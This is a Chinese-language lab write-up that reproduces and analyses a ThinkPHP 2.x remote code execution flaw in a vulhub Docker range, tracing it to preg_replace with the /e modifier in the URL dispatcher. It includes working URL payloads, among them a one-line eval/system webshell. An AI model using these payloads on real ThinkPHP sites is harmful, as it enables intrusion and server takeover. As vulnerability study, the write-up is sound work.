# 靶场搭建
使用 vulhub 中的 thinkphp 的 docker 环境
进入到目录中,直接 docker-compose -d
# 漏洞复现
http://192.168.1.100:8080/index.php?s=/index/index/xxx/${@phpinfo()}
得到 phpinfo
这样我们可以使用一句话,来实现 RCE
- URL:
http://192.168.1.100:8080/index.php?s=/index/index/xxx/${@eval(system($_POST[gddfeng]))}
- POST:
gddfeng=id
# 漏洞分析
靶场使用了 PHP Version 5.5.38
,在 PHP7 之前的 PHP 中 preg_replace
函数支持 /e
修饰符
在早期版本的 PHP 中,
preg_replace
函数可以使用/e
修饰符,它表示替换字符串作为 PHP 代码来执行。这意味着,替换字符串会被当作 PHP 代码来执行,而不仅仅是普通的字符串替换。
也就是说,如果在正则中插入 PHP 代码的字符串,那么将会被执行。所以我们需要找到这个函数在具体的文件中位置,并研究参数是如何传递的。
查找包含 preg_replace
的文件
root@10140dae3462:/var/www/html# grep -irl "preg_replace" | |
Runtime/~runtime.php | |
ThinkPHP/Common/extend.php | |
ThinkPHP/Common/functions.php | |
ThinkPHP/Lib/Think/Util/HtmlCache.class.php | |
ThinkPHP/Lib/Think/Util/Dispatcher.class.php | |
ThinkPHP/Lib/Think/Template/ThinkTemplate.class.php | |
ThinkPHP/Lib/Think/Template/TagLib.class.php | |
ThinkPHP/Mode/Lite/Dispatcher.class.php | |
ThinkPHP/Mode/Lite/ThinkTemplateCompiler.class.php |
其中 ThinkPHP/Mode/Lite/Dispatcher.class.php
是我们要关注的
通过查看文件内容,发现这个 class 的功能
+------------------------------------------------------------------------------ | |
* ThinkPHP内置的Dispatcher类 | |
* 完成URL解析、路由和调度 | |
+------------------------------------------------------------------------------ |
其关键代码:
if(!isset($_GET[C('VAR_MODULE')])) {// 还没有定义模块名称 | |
$var[C('VAR_MODULE')] = array_shift($paths); // 获取模块名称 | |
} | |
$var[C('VAR_ACTION')] = array_shift($paths); // 获取操作名称 | |
// 解析剩余的 URL 参数 | |
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths)); // 使用正则表达式解析 URL 参数并设置到 $var 数组中 | |
$_GET = array_merge($var,$_GET); // 合并 $var 数组和 GET 数组 |
preg_replace 这一行的含义如下:
- @(\w+)'.depr.'([^'.depr.'/]+)@e 是正则表达式。在这里,@ 是正则表达式的分隔符,(\w+) 匹配一个或多个字母、数字或下划线(即单词字符),depr 是一个变量,然后是 ([^'.depr.'/]+) 匹配除了分隔符和斜杠之外的任意字符。@e 表示将替换字符串作为 PHP 代码执行。
- $var ['\1']="\2"; 是替换字符串。这里 \1 和 \2 是正则表达式捕获到的第一个和第二个子模式。这行代码的作用是将匹配到的字符串按照一定格式存储到 $var 数组中。如:
A\B\C\D
会变成 array:[A]=>B,[C]=>D
- implode(paths) 是将数组 $paths 中的元素用 $depr 连接成一个字符串,作为 preg_replace 的目标字符串。
解析了 URL 中的路径,但在这里使用了 /e
修饰符,因此会执行 php 代码
thinkphp 是 MVC 架构的框架,所以路径的规则是这样的: /模块/控制器/操作/[参数名/参数值...]
因此我们随便写一个给一个模块,控制器和操作来绕过已经定义的路由规则。让 thinkphp 进入到负责解析的 Dispatcher.class
中,解析 URL 参数。在参数中填充 payload,即可实现 RCE
如: /模块/控制器/操作/phpinfo()
但需要注意的是,直接填入的字符串并没有被当做函数执行,而是被当做了参数。所以此时是无法触发的
因此需要用到 ${}
${}
是可以构造一个变量的,{}
写的是一般的字符,那么就会被当成变量,比如${a}
等价于$a
,那如果{}
写的是一个已知函数名称呢?那么这个函数就会被执行
除此之外还需要两个条件:
- 代码执行的位置必须是值的位置而不是键的位置
- 执行的字符串需要使用双引号闭合而不是单引号
因此我们就可以构造一个能够进行命令执行的 payload: URL/index.php/A/B/C/${phpinfo()}
参数 | 作用 |
---|---|
index.php | 模块、入口文件 |
A | 控制器 |
B | 操作 |
C | 键 |
$ | 值、payload |
这样就会执行 phpinfo()
,实现 RCE